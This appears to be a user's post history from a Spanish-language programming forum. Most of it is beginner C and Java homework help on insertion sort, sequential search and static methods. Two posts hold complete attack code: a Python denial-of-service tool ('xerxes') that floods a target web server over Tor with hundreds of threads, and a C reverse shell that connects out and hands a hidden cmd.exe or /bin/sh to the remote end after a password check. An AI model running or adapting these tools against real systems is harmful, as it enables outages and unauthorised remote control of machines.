Mensajes

tienes que inicializar esta variable

Código (cpp) [Seleccionar] Expandir

int art;

gracias vos sos un geek !! 

No escribas en mayuscula y depuralo.

lo siento, te explico amigo moderador sucede que tampoco soy un craneo en programacion hasta aqui es q mis neuronas dan y e hecho el mayor esfuerzo en hacerlo yo mismo pero ya en este punto no se que hacer y pido que practicamente alguien sepa mucho mas me diga cual es la forma en que deberia colocar la funcion ya sea proporcionandome un ejemplo que me haga entender.

aqui seria mi ayuda

Código (cpp) [Seleccionar] Expandir

void ordenar_pares_impares(int vector[], int elementos)
{
    int i, j, t;
    for (i=1; i<elementos; i++)
    {
        j=i;
        t=vector[j];
        if(t%2==0)
        {
        while (j>0 && vector[j-1]>t)
        {
            vector[j]=vector[j-1];
            j--;
        }
        }
        else
        {
        while (j>0 && vector[j-1]<t)
        {
            vector[j]=vector[j-1];
            j--;
        }
        }
vector[j]=t;
    }

  printf("\n\nel vector par-impar ordenado es: ");
  //imprimimos el vector con su respectivo ordenamiento
  for(int n=0;n<elementos;n++)
{
printf("\n dato %d es %d", (n+1), vector[n]);
}

char letra;
printf("\ndesea buscar un elemento en el vector?\n presione s para SI y n para NO:  ");
letra=getch();

if (letra =='s')
{
busqueda_secuencial(vector,elementos);
}
}

SI ESO YA LO HABIA ARREGLADO GRACIAS PERO MI DUDA ES SOBRE EL TITULO DE LA PUBLICACION

EDITO!!

gracias a las sugerencias y ayuda dada, modifico mi publicacion con el code ya arreglado y funcional. saludos 

Código (cpp) [Seleccionar] Expandir

#include <stdio.h>
#include <windows.h>
#include <conio.h>

/* Escriba un programa en lenguaje C que realice las siguientes tareas:
1).- Leer entrada de "N" números enteros positivos mayor que cero
(SOLO MAYOR QUE CERO, NO IGUAL O MENOR QUE CERO).  (LISTO)

2).- Usar el método de ordenamiento de inserción,
de tal forma que los números impares ocurran o se escriban antes de los pares en el vector

3).- Ordenar los pares en forma ascendente y los impares en forma descendente. (LISTO)

4).- Usar el método de búsqueda para hallar un numero o elemento "A"
a través del método de búsqueda SECUENCIAL introducido por teclado. MOSTRAR SU POSICIÓN. (LISTO)

CONSIDERACIONES:
1) Si no hay números pares leídos ordenar descendentes. (LISTO)
2) si no hay números impares leídos ordenar ascendente  (LISTO)
3) si hay números Pares/impares ordenar según el PUNTO N° 3 ANTES MENCIONADO (LISTO)
*/



//prototipo de funcion ordenamiento


void ordenar_impares_descendentes(int vector[], int elementos);//CONSIDERACION NUMERO 1
void ordenar_pares_ascendentes(int vector[], int elementos);//CONSIDERACION NUMERO 2
void ordenar_pares_impares(int vector[], int elementos);//CONSIDERACION NUMERO 3
void busqueda_secuencial(int vector[], int elementos); //PUNTO NUMERO 4


//inicia main
int main()

{

//PEDIMOS LA CANTIDAD DE NUMEROS QUE DESEAMOS GUARDAR EN EL VECTOR
printf("cuantos elementos desea almacenar? ");
int* v,elementos;
scanf("%d",&elementos);


/* Reservar memoria para almacenar n enteros */

v = (int*)malloc(elementos * sizeof(int)); //UN VECTOR QUE TENDRA LAS DIMENCIONES DE LOS NUMEROS A ALMACENAR

/* Verificamos que la asignación se haya realizado correctamente */
if (v== NULL)
{
/* Error al intentar reservar memoria */
}


//CONTINUAMOS A LLENAR EL VECTOR YA DECLARADO


printf("\nIngrese los valores de su lista");

int valor_temporal, par=0, impar=0, n;
for(n=0;n<elementos;)
{

printf("\n Ingrese el dato %d: ",(n+1));
scanf("%d",&valor_temporal);
//COMPROBAMOS QUE EL DIGITO ES MAYOR A CERO
if(valor_temporal>0)
{
v[n]=valor_temporal;//almacenamos el digito
n++; //avanzamos de posicion
if(valor_temporal%2==0)//comprobamos si es par para mas adelante realizar la operacion necesaria
{
par=1;
}
else  //caso contrario es impar
{
    impar=1;
}
}
else
{
printf("\nIntroduzca un numero mayor a cero");
}

}

//MOSTRAMOS AL OPERADOR QUE LOS NUMEROS SON ALMACENADOS EN EL ORDEN QUE FUERON INTRODUCIDOS

printf("\nlos numeros introducidos son:");

for(int n=0;n<elementos;n++)
{
printf("\n dato %d es %d", (n+1), v[n]);
}


//PROCEDEMOS A REALIZAR LAS OPERACIONES NECESARIAS EN BASE A SI EXISTEN PARES, IMPARES O AMBOS EN EL VECTOR


if(par==1 && impar==1)
{
//funcion de pares e impares
ordenar_pares_impares(v,elementos);
}

else if(par==1 && impar==0)
{
//funcion de pares ascendentes
ordenar_pares_ascendentes(v,elementos);
}
else if(par==0 && impar==1)
{
//funcion de impares descendentes
ordenar_impares_descendentes(v,elementos);
}

free (v);
system("pause");
return 0;
}

//FUNCION PARA ORDENAR DE MANERA ASCENDENTE EL VECTOR EN CASO DE QUE SOLO HAYAN PARES
void ordenar_pares_ascendentes(int vector[], int elementos)
{
    int i,j,v;

      for (i = 1; i < elementos; i++)
        {
             v = vector[i];
             j = i - 1;
            while (j >= 0 && vector[j] > v)
              {
                  vector[j + 1] = vector[j];
                  j--;
              }
             
             vector[j + 1] = v;
      }
     
  printf("\n\nel vector par ordenado de forma ascendente es: ");
  //imprimimos el vector con su respectivo ordenamiento
  for(int n=0;n<elementos;n++)
{
printf("\n dato %d es %d", (n+1), vector[n]);
}

char letra;
printf("\ndesea buscar un elemento en el vector?\n presione s para SI y n para NO:  ");
letra=getch();

if (letra =='s')
{
busqueda_secuencial(vector,elementos);
}
}


//FUNCION PARA ORDENAR DE MANERA DSECENDENTE EL VECTOR EN CASO DE QUE SOLO HAYAN IMPARES
void ordenar_impares_descendentes(int vector[], int elementos)
{
    int i, j, t;
    for (i=1; i<elementos; i++)
    {
        j=i;
        t=vector[j];
        while (j>0 && vector[j-1]<t)//NOTESE QUE SOLO SE NECESITA CAMBIAR UN SIGNO EN ESTE CONDICIONAL PARA QUE SEA DESCENDENTE
        {
            vector[j]=vector[j-1];
            j--;
        }
        vector[j]=t;
    }
   
  printf("\n\nel vector impar ordenado de forma descendente es: ");
  //imprimimos el vector con su respectivo ordenamiento
  for(int n=0;n<elementos;n++)
{
printf("\n dato %d es %d", (n+1), vector[n]);
}

char letra;
printf("\ndesea buscar un elemento en el vector?\n presione s para SI y n para NO:  ");
letra=getch();

if (letra =='s')
{
busqueda_secuencial(vector,elementos);
}
}

//FUNCION PARA EL CASO EN QUE EXISTAN PARES E IMPARES EN EL VECTOR
//LOS IMPARES SE COLOCARAN PRIMEROS EN EL VECTOR Y DE MANERA DESCENDENTE
//LOS PARES  SE COLOCARAN EN LAS SIGUIENTES POSICIONES DE MANERA ASCENDENTE

void ordenar_pares_impares(int vector[], int elementos)
{
    int i, j, t,n;
    for (i=1; i<elementos; i++)
    {
        j=i;
        t=vector[j];
        if(t%2==0)
        {
        while (j>0 && vector[j-1]>t && vector[j-1]%2==0)
        {
            vector[j]=vector[j-1];
            j--;
        }
        }
        else
        {
        while (j>0 && (vector[j-1]<t || vector[j-1]%2==0))
        {
            vector[j]=vector[j-1];
            j--;
        }
        }
        vector[j]=t;
    }
   
  printf("\n\nel vector par-impar ordenado es: ");
  //imprimimos el vector con su respectivo ordenamiento
  for(int n=0;n<elementos;n++)
{
printf("\n dato %d es %d", (n+1), vector[n]);
}

char letra;
printf("\ndesea buscar un elemento en el vector?\n presione s para SI y n para NO:  ");
letra=getch();

if (letra =='s')
{
busqueda_secuencial(vector,elementos);
}
}

// BUSQUEDA SECUENCIAL

void busqueda_secuencial(int vector[], int elementos)
{
     int encontrar;
printf("\nEscriba un numero por favor:");
    scanf("%d", &encontrar);
    printf("\nUsted ingreso %d: ",encontrar);
    for (int i=0;i<elementos;i++)
{
        if (vector[i] == encontrar)
{
            printf("\nNumero encontrado en la posicion [%d] del vector",(i+1));
        }
else
{
        printf("\nNumero no encontrado en la posicion [%d] del vector",(i+1));
        }
    }
  // FIN BUSQUEDA SECUENCIAL
}

buenas qusiera que me ayudaran, no puedo implementar este codigo es sencillo solo quiero llamar desde la clase main, la clase Operaciones para realizar uno de los metodos pero el netbeans no me deja compilarlo

Código (java) [Seleccionar] Expandir


public class Operaciones
{
public static double suma(double a, double b)
{
return a+b;
}
public static double resta(double a, double b)
{
return a-b;
}
public static double multiplica(double a, double b)
{
return a*b;
}
public static double divide(double a, double b)
{
return a/b;
}
public static double modulo(double a, double b)
{
return a % b;
}
}

public class PruebaOperaciones
{
public static void main (String args[])
{
System.out.println( Operaciones.multiplica(Operaciones.suma(2, 3), 8) );
}
}



favor diganme que esta mal ya que no soy muy conocedor de java me estoy iniciando

buenas tengo este code quisiera q le ayudaran en saber que es lo que medio hace ya que conozco muy poco de python gracias se los pido

Código (python) [Seleccionar] Expandir

#!/usr/bin/python

# this assumes you have the socks.py (http://phiral.net/socks.py)
# and terminal.py (http://phiral.net/terminal.py) in the
# same directory and that you have tor running locally
# on port 9050. run with 128 to 256 threads to be effective.
# kills apache 1.X with ~128, apache 2.X / IIS with ~256
# not effective on nginx

import os
import re
import time
import sys
import random
import math
import getopt
import socks
import string
import terminal

from threading import Thread

global stop_now
global term

stop_now = False
term = terminal.TerminalController()

class httpPost(Thread):
    def __init__(self, host, port, tor):
        Thread.__init__(self)
        self.host = host
        self.port = port
        self.socks = socks.socksocket()
        self.tor = tor
        self.running = True

    def _send_http_post(self, pause=10):
        global stop_now

        while True:
            if stop_now:
                self.running = False
                break
            p = "."
            print term.BOL+term.UP+term.CLEAR_EOL+"Volley: %s" % p+term.NORMAL
            self.socks.send(p)

        self.socks.close()

    def run(self):
        while self.running:
            while self.running:
                try:
                    if self.tor:     
                        self.socks.setproxy(socks.PROXY_TYPE_SOCKS5, "127.0.0.1", 9050)
                    self.socks.connect((self.host, self.port))
                    print term.BOL+term.UP+term.CLEAR_EOL+"Connected to host..."+ term.NORMAL
                    break
                except Exception, e:
                    if e.args[0] == 106 or e.args[0] == 60:
                        break
                    print term.BOL+term.UP+term.CLEAR_EOL+"Error connecting to host..."+ term.NORMAL
                    time.sleep(1)
                    continue

            while self.running:
                try:
                    self._send_http_post()
                except Exception, e:
                    if e.args[0] == 32 or e.args[0] == 104:
                        print term.BOL+term.UP+term.CLEAR_EOL+"Thread broken, restarting..."+ term.NORMAL
                        self.socks = socks.socksocket()
                        break
                    time.sleep(0.1)
                    pass

def usage():
    print "./xerxes.py -t <target> [-r <threads> -p <port> -T -h]\n"

def main(argv):
   
    try:
        opts, args = getopt.getopt(argv, "hTt:r:p:", ["help", "tor", "target=", "threads=", "port="])
    except getopt.GetoptError:
        usage()
        sys.exit(-1)

    global stop_now

    target = ''
    threads = 256
    tor = True
    port = 80

    for o, a in opts:
        if o in ("-h", "--help"):
            usage()
            sys.exit(0)
        if o in ("-T", "--tor"):
            tor = True
        elif o in ("-t", "--target"):
            target = a
        elif o in ("-r", "--threads"):
            threads = int(a)
        elif o in ("-p", "--port"):
            port = int(a)

    if target == '' or int(threads) <= 0:
        usage()
        sys.exit(-1)

    print term.DOWN + term.RED + "/*" + term.NORMAL
    print term.RED + " * Target: %s Port: %d" % (target, port) + term.NORMAL
    print term.RED + " * Threads: %d Tor: %s" % (threads, tor) + term.NORMAL
    print term.RED + " * Give 20 seconds without tor or 40 with before checking site" + term.NORMAL
    print term.RED + " */" + term.DOWN + term.DOWN + term.NORMAL

    rthreads = []
    for i in range(threads):
        t = httpPost(target, port, tor)
        rthreads.append(t)
        t.start()

    while len(rthreads) > 0:
        try:
            rthreads = [t.join(1) for t in rthreads if t is not None and t.isAlive()]
        except KeyboardInterrupt:
            print "\nShutting down threads...\n"
            for t in rthreads:
                stop_now = True
                t.running = False

if __name__ == "__main__":
    main(sys.argv[1:])


Código (c) [Seleccionar] Expandir

HWND CurrentWin;
CurrentWin = GetForegroundWindow();
HANDLE consol;
consol = GetStdHandle(STD_OUTPUT_HANDLE);
SetConsoleTextAttribute(consol,FOREGROUND_BLUE);

tambien podrias emplearlo ya que asi te evitas tener que llamar a otro proceso dentro del tuyo en este caso el comando "color"

no consigo cual es el equivalente para usar en linux de keybd_event para que me ayuden porfa y como es el uso de dicha funcion

me gustaria q lo probaran y me digan si les funciona solo lo e corrido en win xp y knoppix 5

Código (cpp) [Seleccionar] Expandir

#include <stdio.h>
#include <string.h>

//cabecera y librerias segun SO

#ifdef WIN32
#include <winsock2.h>
#pragma comment(lib,"ws2_32.lib")

#else

#include <netdb.h>
#include <sys/socket.h>
#define SOCKET_ERROR -1

#endif

#define PASSWORD "mi_pass\0"
//contraseña
char Buffer[1024]; //variable para enviar/recibir datos
int Recv; //para saber cuantos datos hemos transmitido

int sock;
int ReverseShell(char *Destino, short Puerto,char *pwd);

/*funcion principal*/

int main()
{
   
    for(;;)
    {
           if(send(sock,"",0,0)<=0)
           {

#ifdef WIN32
WSACleanup();
#else
close(sock);
#endif

ReverseShell("localhost",4664,PASSWORD);
}
#ifdef WIN32
Sleep(100);
#else
sleep(100);
#endif
}

return 0;
}


int ReverseShell(char *Destino, short Puerto, char *pwd)
{
    int Loggea();
    struct hostent *Master;
    struct sockaddr_in Winsock_In;
   
    //si estamos en windows cargamos la libreria
    #ifdef WIN32
   
    STARTUPINFO start_proc;
    PROCESS_INFORMATION info_proc;
    OSVERSIONINFO SOinfo;
    WSADATA wsaData;
   
    char *shell;
    //iniciamos la libreria para  crear socket
    WSAStartup(MAKEWORD(2,2),/*version del socket*/ &wsaData /*estrutura que recibe las propiedades del socket*/);
   
    if((sock=WSASocket(AF_INET,SOCK_STREAM,IPPROTO_TCP,NULL,(unsigned int)NULL,(unsigned int)NULL))==INVALID_SOCKET)
    return 0;
   
    #else
   
    if((sock=socket(AF_INET,SOCK_STREAM,0))==SOCKET_ERROR)
    return 0;
   
    #endif
   
    Master=gethostbyname(Destino);
    Winsock_In.sin_family=AF_INET;
    //IPv4
    Winsock_In.sin_port=htons(Puerto);
    //puerto al que conectar
   
    Winsock_In.sin_addr= *((struct in_addr *)
    Master->h_addr); //host al que conectar
   
    #ifdef WIN32
   
    if(WSAConnect(sock,(SOCKADDR*)&Winsock_In,sizeof(Winsock_In),NULL,NULL,NULL,NULL)==SOCKET_ERROR)
    return 0;
#else

if(connect(sock,(struct sock_addr *)&Winsock_In,sizeof(struct sockaddr))==SOCKET_ERROR)
return 0;

#endif

if(Loggea()==0)
return 0;

#ifdef WIN32
//rellenamos la estructura

memset(&start_proc,0,sizeof(start_proc));//limpiamos
start_proc.cb=sizeof(start_proc);
start_proc.dwFlags=STARTF_USESTDHANDLES;

start_proc.wShowWindow=SW_HIDE;
start_proc.hStdInput=(HANDLE)sock;
start_proc.hStdOutput=(HANDLE)sock;
start_proc.hStdError=(HANDLE)sock;

GetVersionEx(&SOinfo);
if(SOinfo.dwPlatformId==VER_PLATFORM_WIN32_WINDOWS)
{
    shell="command.com\0";
}
else
{
    shell="cmd.exe\0";
}

//lanzamos la shell

if(CreateProcess(NULL,shell,NULL,NULL,TRUE,0,NULL,NULL,&start_proc,&info_proc)==0)
{
     return 1;
     }
     else
     {
         WSACleanup();
         return 0;
         }
#else

if(fork()!=0)
{
             close(sock);
             return 0;
             }
//duplicamos los handles del socket

dup2(sock,0);
dup2(sock,1);
dup2(sock,2);

if(!execl("/bin/sh'","sh",NULL))
{
     close(sock);
     return 0;
     }

#endif

return 1;
}

//devulve 0 (incorrecto) / 1 (correcto)

int Loggea()
{
    if(PASSWORD!=NULL)
    {
                     do
                     {
                         //limpiamos el buffer
                         memset(Buffer,0,sizeof(char*));
                         //pedimos la  contraseña
                         send(sock,"\n[#] Introduce la password: ",strlen("\n[#]Introduce la password: "),0);
                         //recibimos los datos
                         Recv=recv(sock,Buffer,1024,0);
                         //comprobamos si ha cerrado la conexion
                         if(Recv<=0)
                         
                                    return 0;
                                    Buffer[Recv-1]='\0';
                                    }
                                   
                                    while(strcmp(Buffer,PASSWORD)!=0);
                                    send(sock,"[#]Aceptada!\n\n",strlen("[#]Aceptada!\n\n)"),0);
                                    }
                                   
                                    return 1;
                                    }